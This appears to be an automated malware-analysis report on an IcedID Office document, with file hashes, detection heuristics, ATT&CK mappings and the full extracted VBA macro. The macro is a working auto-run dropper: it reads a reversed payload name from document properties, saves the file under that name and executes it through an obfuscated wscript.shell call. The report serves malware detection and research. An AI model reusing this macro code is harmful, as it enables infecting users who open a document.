IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 49f53286e7ddc453…

MALICIOUS

Office (OOXML)

34.4 KB Created: 2021-11-04 10:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-20
MD5: 8053ba28eaa07e77b06ab0daede783e9 SHA-1: b2c4daa25aadf786f26eb605084ac2cf4ba07110 SHA-256: 49f53286e7ddc453cb3be0c109d609be1386be3fb685044b5a00fc9d1909f5d5
262 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious OOXML document containing a VBA macro. The macro executes a Document_Open subroutine which calls a function 's' that uses CreateObject to instantiate a 'wscript.shell' object. This object is then used to execute 'c:\windows\explorer.exe' with a command line argument derived from a reversed string found in the document's keywords property. This indicates a downloader or dropper functionality, consistent with the IcedID family.

Heuristics 7

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1056 bytes
SHA-256: 04f77f82da3eebd9b46d9c174c1cb8519742db303b62bbe38b59278432804fc0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
tubeTube = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(tubeTube)
ActiveDocument.Content.Find.Execute FindText:="_f", ReplaceWith:=karolYouGirl, Replace:=wdReplaceAll
End Function
Public Function s(loadDoorLoad, likeLike, youYou)
Set loveTubeNext = CreateObject("wscr" + likeLike + ".shell")
loveTubeNext.exec "c:\windows\exp" & youYou & " " & loadDoorLoad
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(tubeDoor)
Dim doorYou As String
doorYou = ""
karolNextKarol = ThisDocument.keywords
ActiveDocument.SaveAs2 FileName:=karolNextKarol, FileFormat:=wdFormatText
ThisDocument.s karolNextKarol, "ipt", "lorer"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 84d0003f4d5e2739ff793e1c3f442ff115306a90606a9963381483254c8c36a5

Open this report in the interactive analyzer, or submit your own file for analysis.